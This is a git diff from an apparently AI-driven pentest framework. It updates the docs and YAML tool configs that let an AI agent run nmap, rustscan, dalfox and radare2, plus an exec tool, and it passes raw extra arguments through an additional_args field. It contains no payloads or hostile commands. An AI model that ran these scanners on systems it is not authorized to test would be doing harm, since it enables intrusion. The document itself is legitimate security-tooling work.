+- **`flag`**: Flag plus value, e.g. `--flag value` or `-f value`
+  - Example: `flag: "-u"` → `-u http://example.com`
 
-- **`positional`**: insert according to `position`.  
-  Example: `position: 0` → becomes the first positional argument.
+- **`positional`**: Added in order by position.
+  - Example: `position: 0` → first positional argument.
 
-- **`combined`**: join flag and value in one token.  
-  Example: `flag: "--level"`, `format: "combined"` → `--level=3`
+- **`combined`**: Single token `--flag=value`.
+  - Example: `flag: "--level"`, `format: "combined"` → `--level=3`
 
-- **`template`**: custom rendering.  
-  Example: `template: "{flag} {value}"` → fully manual control.
+- **`template`**: Custom template.
+  - Example: `template: "{flag} {value}"` → custom format.
 
-### Reserved Parameters
+### Special Parameters
 
-- `additional_args` – allows users to append arbitrary CLI fragments. The executor tokenises the string (preserving quoted groups) and appends the resulting list to the command.  
-- `scan_type` – for scanners like `nmap`, replacing default scan switches (e.g., `-sV -sC`).  
-- `action` – consumed by server-side branching logic and intentionally not forwarded to the command line.
+#### `additional_args`
 
-## Parameter Description Checklist
+Used to pass extra CLI options not defined in the parameter list. The value is split on spaces into multiple arguments.
 
-When documenting a parameter, include:
+**Use cases:**
+- Advanced tool options.
+- Options not in the schema.
+- Complex argument combinations.
 
-1. **Purpose** – what the value controls.  
-2. **Format rules** – accepted patterns (URL, CIDR, path, etc.).  
-3. **Example values** – list several realistic samples.  
-4. **Notes** – permissions, performance impact, or other caveats.
+**Example:**
+```yaml
+- name: "additional_args"
+  type: "string"
+  description: "Extra CLI arguments; separate multiple options with spaces"
+  required: false
+  format: "positional"
+```
 
-Suggested style: Markdown lists, bold emphasis for key cautions, and code blocks for complex examples.
+**Usage:**
+- `additional_args: "--script vuln -O"` → `["--script", "vuln", "-O"]`
+- `additional_args: "-T4 --max-retries 3"` → `["-T4", "--max-retries", "3"]`
 
-### Example
+**Notes:**
+- Split by spaces; quoted parts are preserved.
+- Ensure valid syntax to avoid command injection.
+- Appended at the end of the command.
 
+#### `scan_type` (tool-specific)
+
+Some tools (e.g. `nmap`) support `scan_type` to override the default scan arguments.
+
+**Example (nmap):**
+```yaml
+- name: "scan_type"
+  type: "string"
+  description: "Scan type options; overrides default scan arguments"
+  required: false
+  format: "positional"
+```
+
+**Usage:**
+- `scan_type: "-sV -sC"` → version and script scan.
+- `scan_type: "-A"` → aggressive scan.
+
+**Notes:**
+- If set, it replaces the tool’s default scan arguments.
+- Multiple options separated by spaces.
+
+### Parameter Description Guidelines
+
+Parameter descriptions should include:
+
+1. **Purpose**: What the parameter does.
+2. **Format**: Expected format (e.g. URL, port range).
+3. **Example values**: Concrete examples (list if several).
+4. **Notes**: Permissions, performance, safety, etc.
+
+**Style:**
+- Use Markdown for readability.
+- Use **bold** for important points.
+- Use lists for multiple examples or options.
+- Use code blocks for complex formats.
+
+**Example:**
 ```yaml
 description: |
-  Target IP address or domain. Accepts single IPs, ranges, CIDR blocks, or hostnames.
+  Target IP or domain. Can be a single IP, range, CIDR, or hostname.
 
-  **Example values**
+  **Example values:**
   - Single IP: "192.168.1.1"
   - Range: "192.168.1.1-100"
   - CIDR: "192.168.1.0/24"
   - Domain: "example.com"
 
-  **Notes**
+  **Notes:**
+  - Format must be valid.
   - Required; cannot be empty.
-  - Validate address format before running to avoid false positives.
 ```
 
 ## Parameter Types
 
-### Boolean
-- `true` → adds only the flag (no value).  
-- `false` → suppresses the flag.  
-- Accepts `true`/`false`, `1`/`0`, and `"true"`/`"false"`.
+### Boolean (`bool`)
 
+- `true`: Add only the flag (e.g. `--flag`).
+- `false`: Do not add the argument.
+- Accepted: `true`/`false`, `1`/`0`, `"true"`/`"false"`.
+
+**Example:**
 ```yaml
 - name: "verbose"
   type: "bool"
@@ -127,91 +174,68 @@ description: |
   format: "flag"
 ```
 
-### String
-Most common parameter type; accepts any string value.
+### String (`string`)
 
-### Integer
-Use for numeric inputs (ports, levels, limits).
+General-purpose; any string value.
 
+### Integer (`int` / `integer`)
+
+For numbers (ports, levels, etc.).
+
+**Example:**
 ```yaml
 - name: "level"
   type: "int"
-  description: "Level of detail, 1-5"
+  description: "Test level, 1-5"
   required: false
   default: 3
   flag: "--level"
   format: "combined"  # --level=3
 ```
 
-### Array
-Automatically converted to a comma-separated string.
+### Array (`array`)
 
+Converted to a comma-separated string.
+
+**Example:**
 ```yaml
 - name: "ports"
   type: "array"
-  description: "List of ports to scan"
+  item_type: "number"
+  description: "Port list"
   required: false
   # Input: [80, 443, 8080]
   # Output: "80,443,8080"
 ```
 
-## Special Parameters
+## Examples
 
-### `additional_args`
+See existing configs under `tools/`:
 
-```yaml
-- name: "additional_args"
-  type: "string"
-  description: "Extra CLI arguments; separate multiple options with spaces"
-  required: false
-  format: "positional"
-```
+- `nmap.yaml`: Network scanner (`scan_type` and `additional_args`).
+- `sqlmap.yaml`: SQL injection (`additional_args`).
+- `nikto.yaml`: Web server scanner.
+- `dirb.yaml`: Directory scanner.
+- `exec.yaml`: System command execution.
 
-Examples:
-- `additional_args: "--script vuln -O"` → `["--script", "vuln", "-O"]`
-- `additional_args: "-T4 --max-retries 3"` → `["-T4", "--max-retries", "3"]`
-
-Notes:
-- Quoted strings are preserved.  
-- Validate user input to avoid command injection.  
-- Appended at the end of the final command.
-
-### `scan_type`
-
-```yaml
-- name: "scan_type"
-  type: "string"
-  description: "Overrides default scan switches"
-  required: false
-  format: "positional"
-```
-
-Examples:
-- `scan_type: "-sV -sC"`  
-- `scan_type: "-A"`
-
-Notes:
-- Replaces default entries in the tool’s `args` list.  
-- Separate multiple flags with spaces.
-
-## Complete Example (`nmap`)
+### Full Example: nmap
 
 ```yaml
 name: "nmap"
 command: "nmap"
-args: ["-sT", "-sV", "-sC"]
+args: ["-sT", "-sV", "-sC"]  # default scan type
 enabled: true
 
 short_description: "Network scanner for discovering hosts, open ports, and services"
 
 description: |
-  Network mapping and port scanning utility.
+  Network mapping and port scanning for hosts, services, and open ports.
 
-  **Highlights**
+  **Capabilities:**
   - Host discovery
   - Port scanning
-  - Service identification
-  - OS fingerprinting
+  - Service/version detection
+  - OS detection
   - NSE-based vulnerability checks
 
 parameters:
@@ -224,62 +248,80 @@ parameters:
 
   - name: "ports"
     type: "string"
-    description: "Port range, e.g., 1-1000"
+    description: "Port range, e.g. 1-1000"
     required: false
     flag: "-p"
     format: "flag"
 
   - name: "scan_type"
     type: "string"
-    description: "Override scan switches, e.g., '-sV -sC'"
+    description: "Scan type options, e.g. '-sV -sC'"
     required: false
     format: "positional"
 
   - name: "additional_args"
     type: "string"
-    description: "Extra nmap arguments, e.g., '--script vuln -O'"
+    description: "Extra nmap arguments, e.g. '--script vuln -O'"
     required: false
     format: "positional"
 ```
 
 ## Adding a New Tool
 
-1. Create a YAML file in `tools/` (e.g., `tools/mytool.yaml`).  
-2. Fill out the top-level fields and parameter list.  
-3. Provide defaults and rich descriptions wherever possible.  
-4. Run `go run cmd/test-config/main.go` to validate the configuration.  
-5. Restart the service (or trigger a reload) so the UI and MCP registry pick up the change.
-
-### Template
+Create a new YAML file under `tools/`, e.g. `my_tool.yaml`:
 
 ```yaml
-name: "tool_name"
-command: "command"
+name: "my_tool"
+command: "my-command"
+args: ["--default-arg"]  # optional fixed args
 enabled: true
 
-short_description: "One-line summary"
+# Short description (recommended) – for tool list, fewer tokens
+short_description: "One-line summary of what the tool does"
 
+# Full description – for docs and AI
 description: |
-  Detailed description with Markdown formatting.
+  Full description; multi-line and Markdown supported.
+
+  **Capabilities:**
+  - Feature 1
+  - Feature 2
+
+  **Usage:**
+  - Scenario 1
+  - Scenario 2
+
+  **Notes:**
+  - Caveats
+  - Permissions
+  - Performance
 
 parameters:
   - name: "target"
     type: "string"
-    description: "Explain the expected value, format, examples, and caveats"
+    description: |
+      Target parameter description.
+
+      **Example values:**
+      - "value1"
+      - "value2"
+
+      **Notes:**
+      - Format and limits
     required: true
     position: 0
     format: "positional"
 
   - name: "option"
     type: "string"
-    description: "Optional flag parameter"
+    description: "Option parameter"
     required: false
     flag: "--option"
     format: "flag"
 
   - name: "verbose"
     type: "bool"
-    description: "Enable verbose mode"
+    description: "Verbose mode"
     required: false
     default: false
     flag: "-v"
@@ -287,33 +329,170 @@ parameters:
 
   - name: "additional_args"
     type: "string"
-    description: "Extra CLI options separated by spaces"
+    description: "Extra arguments; separate with spaces"
     required: false
     format: "positional"
 ```
 
-## Validation & Troubleshooting
+Restart the service to load the new tool.
 
-- ✅ Verify required fields: `name`, `command`, `enabled`, `description`.  
-- ✅ Ensure parameter definitions use supported types and formats.  
-- ✅ Watch server logs for warnings when a tool fails to load.  
-- ✅ Use `go run cmd/test-config/main.go` to inspect parsed tool metadata.
+### Best Practices
 
-## Best Practices
+1. **Parameter design**
+   - Define common parameters explicitly so the AI can use them.
+   - Use `additional_args` for advanced cases.
+   - Provide clear descriptions and examples.
 
-1. **Parameter design** – expose common flags individually; leverage `additional_args` for advanced scenarios.  
-2. **Documentation** – combine `short_description` with thorough `description` to balance brevity and clarity.  
-3. **Defaults** – provide sensible `default` values, especially for frequently used options.  
-4. **Validation prompts** – describe expected formats and highlight constraints to help the AI and users avoid mistakes.  
-5. **Safety** – warn about privileged commands, destructive actions, or high-impact scans.
+2. **Descriptions**
+   - Use `short_description` to reduce tokens.
+   - Keep `description` detailed for AI and docs.
+   - Use Markdown for readability.
+
+3. **Defaults**
+   - Set sensible defaults for common parameters.
+   - Booleans often default to `false`.
+   - Numbers according to tool behavior.
+
+4. **Validation**
+   - Document format and constraints.
+   - Give several example values.
+   - Mention limits and caveats.
+
+5. **Safety**
+   - Add warnings for dangerous or privileged actions.
+   - Document permission requirements.
+   - Remind users to use only in authorized environments.
+
+6. **Execution duration and timeout**
+   - If a tool often runs very long (e.g. still “running” after 10–30 minutes), treat it as abnormal and:
+     - Set **config.yaml** → `agent.tool_timeout_minutes` (default 10) so long runs are stopped and resources freed.
+     - Increase it (e.g. 20, 30) only when longer runs are needed; avoid `0` (no limit).
+     - Use “Stop task” on the task monitor to cancel the whole run.
+     - Prefer tools that support cancellation or an internal timeout so they align with the global timeout.
 
 ## Disabling a Tool
 
-Set `enabled: false` or remove/rename the YAML file. Disabled tools disappear from the UI and MCP inventory.
+Set `enabled: false` in the tool’s config, or remove/rename the file. Disabled tools are not listed and cannot be called by the AI.
+
+## Tool Configuration Validation
+
+On load, the system checks:
+
+- ✅ Required fields: `name`, `command`, `enabled`.
+- ✅ Parameter structure and types.
+
+Invalid configs produce startup warnings but do not prevent the server from starting. Invalid tools are skipped; others still load.
+
+## FAQ
+
+### Q: How do I pass multiple parameter values?
+
+A: Array parameters are turned into comma-separated strings. For multiple separate arguments, use `additional_args`.
+
+### Q: How do I override a tool’s default arguments?
+
+A: Some tools (e.g. `nmap`) support a `scan_type` parameter. Otherwise use `additional_args`.
+
+### Q: A tool has been “running” for over 30 minutes. What should I do?
+
+A: That usually means it’s stuck. You can:
+1. Set `agent.tool_timeout_minutes` in **config.yaml** (default 10) so single tool runs are stopped after that many minutes.
+2. Use “Stop task” on the task monitor to stop the run immediately.
+3. If the tool legitimately needs more time, increase `tool_timeout_minutes` (avoid setting it to 0).
+
+### Q: What if tool execution fails?
+
+A: Check:
+1. The tool is installed and on PATH.
+2. The tool config is correct.
+3. Parameter formats match what the tool expects.
+4. Server logs for the exact error.
+
+### Q: How can I test a tool configuration?
+
+A: Use the config test utility:
+```bash
+go run cmd/test-config/main.go
+```
+
+### Q: How is parameter order controlled?
+
+A: Use the `position` field for positional arguments. **Position 0** (e.g. gobuster’s `dir` subcommand) is placed right after the command, before any flag arguments, so CLIs that expect “subcommand + options” work. Other flags are added in the order they appear in `parameters`, then position 1, 2, …; `additional_args` is appended last.
+
+## Tool Configuration Templates
+
+### Basic template
+
+```yaml
+name: "tool_name"
+command: "command"
+enabled: true
+
+short_description: "Short description (20–50 chars)"
+
+description: |
+  Full description: what it does, when to use it, and caveats.
+
+parameters:
+  - name: "target"
+    type: "string"
+    description: "Target parameter"
+    required: true
+    position: 0
+    format: "positional"
+
+  - name: "additional_args"
+    type: "string"
+    description: "Extra CLI arguments"
+    required: false
+    format: "positional"
+```
+
+### Template with flag parameters
+
+```yaml
+name: "tool_name"
+command: "command"
+enabled: true
+
+short_description: "Short description"
+
+description: |
+  Full description.
+
+parameters:
+  - name: "target"
+    type: "string"
+    description: "Target"
+    required: true
+    flag: "-t"
+    format: "flag"
+
+  - name: "option"
+    type: "bool"
+    description: "Option"
+    required: false
+    default: false
+    flag: "--option"
+    format: "flag"
+
+  - name: "level"
+    type: "int"
+    description: "Level"
+    required: false
+    default: 3
+    flag: "--level"
+    format: "combined"
+
+  - name: "additional_args"
+    type: "string"
+    description: "Extra arguments"
+    required: false
+    format: "positional"
+```
 
 ## Related Documents
 
-- Main project README: `../README.md`  
-- Tool list samples: `tools/*.yaml`  
-- API overview: see the main README
-
+- Main project README: see `README.md` in the project root.
+- Tool list: all YAML configs under `tools/`.
+- API: see the main README for API details.

tools/dalfox.yaml

@@ -1,5 +1,8 @@
 name: "dalfox"
 command: "dalfox"
+# dalfox v2+ 使用子命令，单目标模式为 `dalfox url <target>`，不再支持根级的 -u
+args:
+  - "url"
 enabled: true
 short_description: "高级XSS漏洞扫描器"
 description: |
@@ -19,10 +22,12 @@ description: |
 parameters:
   - name: "url"
     type: "string"
-    description: "目标URL"
+    description: |
+      目标URL。dalfox 单目标模式为子命令 url，此处作为 url 后的第一个位置参数传入。
+      示例等价 CLI：dalfox url "http://target/page?q=test"
     required: true
-    flag: "-u"
-    format: "flag"
+    position: 0
+    format: "positional"
   - name: "pipe_mode"
     type: "bool"
     description: "使用管道模式输入"

tools/http-intruder.yaml

@@ -143,6 +143,7 @@ parameters:
     format: "positional"
   - name: "payloads"
     type: "array"
+    item_type: "string"
     description: "载荷列表（数组格式），如 [\"test1\", \"test2\", \"test3\"]"
     required: true
     position: 4

tools/list-files.yaml

@@ -1,52 +0,0 @@
-name: "list-files"
-command: "ls"
-enabled: true
-short_description: "列出目录文件工具"
-description: |
-  列出服务器上指定目录中的文件。
-
-  **主要功能：**
-  - 列出文件
-  - 显示详细信息
-  - 递归列出
-
-  **使用场景：**
-  - 目录浏览
-  - 文件查找
-  - 系统检查
-parameters:
-  - name: "directory"
-    type: "string"
-    description: "要列出的目录（相对于服务器基础目录）"
-    required: false
-    default: "."
-    position: 0
-    format: "positional"
-  - name: "long_format"
-    type: "bool"
-    description: "显示详细信息（长格式）"
-    required: false
-    flag: "-l"
-    format: "flag"
-    default: false
-  - name: "recursive"
-    type: "bool"
-    description: "递归列出"
-    required: false
-    flag: "-R"
-    format: "flag"
-    default: false
-  - name: "additional_args"
-    type: "string"
-    description: |
-      额外的list-files参数。用于传递未在参数列表中定义的list-files选项。
-
-      **示例值：**
-      - 根据工具特性添加常用参数示例
-
-      **注意事项：**
-      - 多个参数用空格分隔
-      - 确保参数格式正确，避免命令注入
-      - 此参数会直接追加到命令末尾
-    required: false
-    format: "positional"

tools/nmap-advanced.yaml

@@ -1,86 +0,0 @@
-name: "nmap-advanced"
-command: "nmap"
-enabled: true
-short_description: "高级Nmap扫描，支持自定义NSE脚本和优化时序"
-description: |
-  高级Nmap扫描工具，支持自定义NSE脚本、优化时序和多种扫描技术。
-
-  **主要功能：**
-  - 多种扫描技术（SYN, TCP, UDP等）
-  - 自定义NSE脚本
-  - 时序优化
-  - OS检测和版本检测
-
-  **使用场景：**
-  - 高级网络扫描
-  - 深度安全评估
-  - 渗透测试
-  - 网络侦察
-parameters:
-  - name: "target"
-    type: "string"
-    description: "目标IP地址或主机名"
-    required: true
-    position: 0
-    format: "positional"
-  - name: "scan_type"
-    type: "string"
-    description: "扫描类型（-sS, -sT, -sU等）"
-    required: false
-    format: "template"
-    template: "{value}"
-    default: "-sS"
-  - name: "ports"
-    type: "string"
-    description: "要扫描的端口"
-    required: false
-    flag: "-p"
-    format: "flag"
-  - name: "timing"
-    type: "string"
-    description: "时序模板（T0-T5）"
-    required: false
-    format: "template"
-    template: "-T{value}"
-    default: "4"
-  - name: "nse_scripts"
-    type: "string"
-    description: "要运行的自定义NSE脚本"
-    required: false
-    flag: "--script"
-    format: "flag"
-  - name: "os_detection"
-    type: "bool"
-    description: "启用OS检测"
-    required: false
-    flag: "-O"
-    format: "flag"
-    default: false
-  - name: "version_detection"
-    type: "bool"
-    description: "启用版本检测"
-    required: false
-    flag: "-sV"
-    format: "flag"
-    default: false
-  - name: "aggressive"
-    type: "bool"
-    description: "启用激进扫描"
-    required: false
-    flag: "-A"
-    format: "flag"
-    default: false
-  - name: "additional_args"
-    type: "string"
-    description: |
-      额外的nmap-advanced参数。用于传递未在参数列表中定义的nmap-advanced选项。
-
-      **示例值：**
-      - 根据工具特性添加常用参数示例
-
-      **注意事项：**
-      - 多个参数用空格分隔
-      - 确保参数格式正确，避免命令注入
-      - 此参数会直接追加到命令末尾
-    required: false
-    format: "positional"

tools/nmap.yaml

@@ -1,108 +1,85 @@
 name: "nmap"
 command: "nmap"
-args: ["-sT", "-sV", "-sC"] # 固定参数：TCP连接扫描、版本检测、默认脚本
+# 默认：TCP 连接扫描 + 版本检测 + 默认 NSE 脚本（无 root 也可用）
+args: ["-sT", "-sV", "-sC"]
 enabled: true
-# 简短描述（用于工具列表，减少token消耗）- 一句话说明工具用途
-short_description: "网络扫描工具，用于发现网络主机、开放端口和服务"
-# 工具详细描述 - 帮助大模型理解工具用途和使用场景
+short_description: "网络扫描：端口/服务/脚本；可选时序、自定义 NSE、OS 检测（需 root）"
 description: |
-  网络映射和端口扫描工具，用于发现网络中的主机、服务和开放端口。
+  网络映射与端口扫描。
 
-  **主要功能：**
-  - 主机发现：检测网络中的活动主机
-  - 端口扫描：识别目标主机上开放的端口
-  - 服务识别：检测运行在端口上的服务类型和版本
-  - 操作系统检测：识别目标主机的操作系统类型
-  - 漏洞检测：使用NSE脚本检测常见漏洞
+  **默认行为（只传 target/ports 即可）：**
+  - `-sT` TCP 连接扫描（无需 root）
+  - `-sV` 版本检测
+  - `-sC` 默认 NSE 脚本
 
-  **使用场景：**
-  - 网络资产发现和枚举
-  - 安全评估和渗透测试
-  - 网络故障排查
-  - 端口和服务审计
+  **可选增强：**
+  - `timing`：`-T0`～`-T5` 时序
+  - `nse_scripts`：`--script` 自定义脚本（如 `vuln`、`http-*`）
+  - `os_detection`：`-O` **必须 root**，否则 nmap 会 QUITTING
+  - `aggressive`：`-A` **必须 root**（含 OS 检测）
+  - `scan_type`：若传入则**整段替换**上述默认 `-sT -sV -sC`，需自行写上需要的选项（如 `-sT -sV`）
 
   **注意事项：**
-  - 使用 -sT (TCP连接扫描) 而不是 -sS (SYN扫描)，因为 -sS 需要root权限
-  - 扫描速度取决于网络延迟和目标响应
-  - 某些扫描可能被防火墙或IDS检测到
-  - 请确保有权限扫描目标网络
-# 参数定义
+  - `-sS` SYN 扫描需要 root；无 root 请用默认或 `-sT`
+  - 扫描全端口 `1-65535` 非常慢，建议先常用端口
+  - 请确保有权限扫描目标
 parameters:
   - name: "target"
     type: "string"
     description: |
-      目标IP地址或域名。可以是单个IP、IP范围、CIDR格式或域名。
+      目标 IP、主机名、CIDR 或域名；URL 会自动提取主机部分。
 
-      **示例值：**
-      - 单个IP: "192.168.1.1"
-      - IP范围: "192.168.1.1-100"
-      - CIDR: "192.168.1.0/24"
-      - 域名: "example.com"
-      - URL: "https://example.com" (会自动提取域名部分)
-
-      **注意事项：**
-      - 如果提供URL，会自动提取域名部分
-      - 确保目标地址格式正确
-      - 必需参数，不能为空
+      **示例：** `192.168.1.1`、`10.0.0.0/24`、`example.com`
     required: true
-    position: 0 # 位置参数，放在命令最后
+    position: 1
     format: "positional"
   - name: "ports"
     type: "string"
     description: |
-      要扫描的端口范围。可以是单个端口、端口范围、逗号分隔的端口列表，或特殊值。
-
-      **示例值：**
-      - 单个端口: "80"
-      - 端口范围: "1-1000"
-      - 多个端口: "80,443,8080,8443"
-      - 组合: "80,443,8000-9000"
-      - 常用端口: "1-1024"
-      - 所有端口: "1-65535"
-      - 快速扫描: "80,443,22,21,25,53,110,143,993,995"
-
-      **注意事项：**
-      - 如果不指定，将扫描默认的1000个常用端口
-      - 扫描所有端口(1-65535)会非常耗时
-      - 建议先扫描常用端口，再根据结果决定是否扫描全部端口
+      端口范围。示例：`80`、`1-1000`、`80,443,8080`、`1-65535`（全端口很慢）
     required: false
     flag: "-p"
     format: "flag"
+  - name: "timing"
+    type: "string"
+    description: "时序模板 T0–T5，数字越大越快。示例：`4` 生成 `-T4`"
+    required: false
+    format: "template"
+    template: "-T{value}"
+  - name: "nse_scripts"
+    type: "string"
+    description: "NSE 脚本，传给 `--script`。示例：`vuln`、`http-title,http-headers`"
+    required: false
+    flag: "--script"
+    format: "flag"
+  - name: "os_detection"
+    type: "bool"
+    description: |
+      启用 `-O` OS 检测。**必须 root**；无 root 请保持 false。
+    required: false
+    flag: "-O"
+    format: "flag"
+    default: false
+  - name: "aggressive"
+    type: "bool"
+    description: |
+      启用 `-A` 激进扫描（含 OS 检测）。**必须 root**；无 root 请保持 false。
+    required: false
+    flag: "-A"
+    format: "flag"
+    default: false
   - name: "scan_type"
     type: "string"
     description: |
-      扫描类型选项。可以覆盖默认的扫描类型。
-
-      **常用选项：**
-      - "-sV": 版本检测
-      - "-sC": 默认脚本扫描
-      - "-sS": SYN扫描（需要root权限）
-      - "-sT": TCP连接扫描（默认）
-      - "-sU": UDP扫描
-      - "-A": 全面扫描（OS检测、版本检测、脚本扫描、路由追踪）
-
-      **注意事项：**
-      - 多个选项可以组合，用空格分隔，例如: "-sV -sC"
-      - 默认已包含 "-sT -sV -sC"
-      - 如果指定此参数，将替换默认的扫描类型
+      扫描类型选项；**若填写则替换默认的 `-sT -sV -sC`**，只保留你写的选项。
+      多选项用空格分隔，例如：`-sT -sV`、`-sU`（UDP）。
     required: false
     format: "template"
     template: "{value}"
   - name: "additional_args"
     type: "string"
     description: |
-      额外的Nmap参数。用于传递未在参数列表中定义的Nmap选项。
-
-      **示例值：**
-      - "--script vuln": 运行漏洞检测脚本
-      - "-O": 操作系统检测
-      - "-T4": 时间模板（0-5，数字越大越快）
-      - "--max-retries 3": 最大重试次数
-      - "-v": 详细输出
-
-      **注意事项：**
-      - 多个参数用空格分隔
-      - 确保参数格式正确，避免命令注入
-      - 此参数会直接追加到命令末尾
+      额外参数，按空格追加到命令末尾。
+      示例：`--max-retries 3`、`-v`、`-Pn`
     required: false
     format: "positional"

tools/radare2.yaml

@@ -46,8 +46,9 @@ parameters:
       **注意事项：**
       - 必需参数，不能为空
       - 如果指定进程ID，需要配合 -d 参数使用
+      - 注意：radare2 要求文件路径必须是最后一个参数，因此 target 使用 position 1
     required: true
-    position: 0
+    position: 1
     format: "positional"
   - name: "commands"
     type: "string"

tools/rustscan.yaml

@@ -1,58 +1,152 @@
 name: "rustscan"
 command: "rustscan"
 enabled: true
-short_description: "超快速端口扫描工具，使用Rust编写"
+short_description: "超快速端口扫描（Rust）；可选 greppable、批量与脚本级别"
 description: |
-  Rustscan是一个用Rust编写的超快速端口扫描工具，可以快速扫描大量端口。
+  RustScan 2.x：快速端口发现，可选再调 Nmap 脚本。
 
-  **主要功能：**
-  - 超快速端口扫描
-  - 可配置的扫描速度
-  - 支持Nmap脚本集成
-  - 批量扫描支持
+  **与 `rustscan -h` 对应关系：**
+  - `-a` / `--addresses`：扫描目标列表（逗号分隔或文件）
+  - `-p`：逗号分隔端口；`-r`：端口范围 `start-end`（二选一或与 `-p` 配合以 CLI 为准）
+  - `-g` / `--greppable`：只输出端口，便于 grep/管道
+  - `--scripts`：**官方默认是 default**（会跑 Nmap）；设为 **none** 可只做端口发现、更快
+  - `-b` batch-size、`-t` timeout、`--scan-order` 等可微调速度与顺序
 
-  **使用场景：**
-  - 快速端口扫描
-  - 大规模网络扫描
-  - 渗透测试信息收集
+  **使用建议：**
+  - 快速扫端口、不要 Nmap：`scripts` 用 `none`，必要时加 `-g`
+  - 需要服务识别/脚本：用 `default` 或 `custom`，并确保本机有 nmap
 parameters:
+  # -a, --addresses
   - name: "target"
     type: "string"
-    description: "目标IP地址或主机名"
+    description: |
+      对应 `-a`：逗号分隔的 CIDR、IP 或主机名；也可为含换行/列表的文件路径。
+      示例：`192.168.1.1`、`10.0.0.1,10.0.0.2`、`192.168.0.0/24`
     required: true
     flag: "-a"
     format: "flag"
+
+  # -p, --ports；范围请用 range (-r)，勿把 1-1000 填进 ports
   - name: "ports"
     type: "string"
-    description: "要扫描的端口（如：22,80,443或1-1000）"
+    description: |
+      要扫描的端口，**仅**逗号分隔列表，对应 `-p`。
+      示例：`22,80,443`、`80,443,8080`。
+      若要范围如 `1-1000`，请用参数 **range**（`-r`），不要写在本参数。
     required: false
     flag: "-p"
     format: "flag"
+
+  # -r, --range（与 ports 列表二选一或按官方说明组合）
+  - name: "range"
+    type: "string"
+    description: |
+      端口范围，格式 start-end，对应 `-r`。
+      示例：`1-1000`、`1-65535`（全端口很慢）。
+      离散端口如 `22,80,443` 请用 **ports**（`-p`），不要写在本参数。
+    required: false
+    flag: "-r"
+    format: "flag"
+
+  # -u, --ulimit
   - name: "ulimit"
     type: "int"
-    description: "文件描述符限制"
+    description: "提升扫描用的 ulimit；依系统 fd 限制调整"
     required: false
     flag: "-u"
     format: "flag"
     default: 5000
+
+  # --scripts：none | default | custom（CLI 默认 default）
   - name: "scripts"
-    type: "bool"
-    description: "在发现的端口上运行Nmap脚本"
+    type: "string"
+    description: |
+      脚本级别；**必须**传字符串，勿传 true/false。
+      - **none**：不跑 Nmap，仅端口发现（最快）
+      - **default**：与 rustscan 官方默认一致，会调 Nmap
+      - **custom**：自定义脚本，常需配合 additional_args
     required: false
     flag: "--scripts"
     format: "flag"
+    default: "none"
+    options:
+      - "none"
+      - "default"
+      - "custom"
+
+  # -g, --greppable：仅端口列表，无 Nmap 输出
+  - name: "greppable"
+    type: "bool"
+    description: "Greppable 模式：只输出端口，适合脚本解析或写入文件"
+    required: false
+    flag: "-g"
+    format: "flag"
     default: false
+
+  # -b, --batch-size [default: 4500]
+  - name: "batch_size"
+    type: "int"
+    description: "每批并发端口数；越大越快，受 OS 打开文件数限制。官方默认 4500"
+    required: false
+    flag: "-b"
+    format: "flag"
+
+  # -t, --timeout ms [default: 1500]
+  - name: "timeout_ms"
+    type: "int"
+    description: "单端口超时（毫秒）。官方默认 1500"
+    required: false
+    flag: "-t"
+    format: "flag"
+
+  # --scan-order serial | random [default: serial]
+  - name: "scan_order"
+    type: "string"
+    description: "扫描顺序：serial 升序；random 随机"
+    required: false
+    flag: "--scan-order"
+    format: "flag"
+    options:
+      - "serial"
+      - "random"
+
+  # --top：top 1000 端口
+  - name: "top_ports"
+    type: "bool"
+    description: "使用内置 top 1000 端口（等价于传 `--top`）"
+    required: false
+    flag: "--top"
+    format: "flag"
+    default: false
+
+  # -e, --exclude-ports
+  - name: "exclude_ports"
+    type: "string"
+    description: "排除端口，逗号分隔。示例：`80,443`"
+    required: false
+    flag: "-e"
+    format: "flag"
+
+  # -x, --exclude-addresses
+  - name: "exclude_addresses"
+    type: "string"
+    description: "排除地址，逗号分隔 CIDR/IP/主机"
+    required: false
+    flag: "-x"
+    format: "flag"
+
+  # --tries [default: 1]
+  - name: "tries"
+    type: "int"
+    description: "判定关闭前的重试次数；0 会被纠正为 1"
+    required: false
+    flag: "--tries"
+    format: "flag"
+
   - name: "additional_args"
     type: "string"
     description: |
-      额外的rustscan参数。用于传递未在参数列表中定义的rustscan选项。
-
-      **示例值：**
-      - 根据工具特性添加常用参数示例
-
-      **注意事项：**
-      - 多个参数用空格分隔
-      - 确保参数格式正确，避免命令注入
-      - 此参数会直接追加到命令末尾
+      未列在上面的选项可写在这里，空格分隔。
+      示例：`--no-banner`、`--udp`、`-n`（忽略配置文件）、`-c /path/config.toml`、`--resolver 8.8.8.8`
     required: false
     format: "positional"

upgrade.sh

@@ -0,0 +1,421 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+# CyberStrikeAI GitHub one-click upgrade script (Release/Tag)
+#
+# Default preserves:
+# - config.yaml
+# - data/
+# - venv/ (disabled with --no-venv)
+#
+# Optional preserves (may overwrite upstream updates):
+# - roles/
+# - skills/
+# - tools/
+# Enable with --preserve-custom
+
+ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+cd "$ROOT_DIR"
+
+BINARY_NAME="cyberstrike-ai"
+CONFIG_FILE="$ROOT_DIR/config.yaml"
+DATA_DIR="$ROOT_DIR/data"
+VENV_DIR="$ROOT_DIR/venv"
+KNOWLEDGE_BASE_DIR="$ROOT_DIR/knowledge_base"
+
+BACKUP_BASE_DIR="$ROOT_DIR/.upgrade-backup"
+
+GITHUB_REPO="Ed1s0nZ/CyberStrikeAI"
+
+TAG=""
+PRESERVE_CUSTOM=0
+PRESERVE_VENV=1
+STOP_SERVICE=1
+FORCE_STOP=0
+YES=0
+
+usage() {
+  cat <<EOF
+Usage:
+  ./upgrade.sh [--tag vX.Y.Z] [--preserve-custom] [--no-venv] [--no-stop]
+                [--force-stop] [--yes]
+
+Options:
+  --tag <tag>          Specify GitHub Release tag (e.g. v1.3.28).
+                        If omitted, the script uses the latest release.
+  --preserve-custom    Preserve roles/skills/tools (may overwrite upstream files).
+                        Use with caution.
+  --no-venv             Do not preserve venv/ (Python deps will be re-installed).
+  --no-stop             Do not try to stop the running service.
+  --force-stop         If no process matching current directory is found, also stop
+                        any cyberstrike-ai processes (use with caution).
+  --yes                 Do not ask for confirmation.
+
+Description:
+  The script backs up config.yaml/data/ (and optionally venv/roles/skills/tools) to
+  .upgrade-backup/
+EOF
+}
+
+log() { printf "%s\n" "$*"; }
+info() { log "[INFO]  $*"; }
+warn() { log "[WARN]  $*"; }
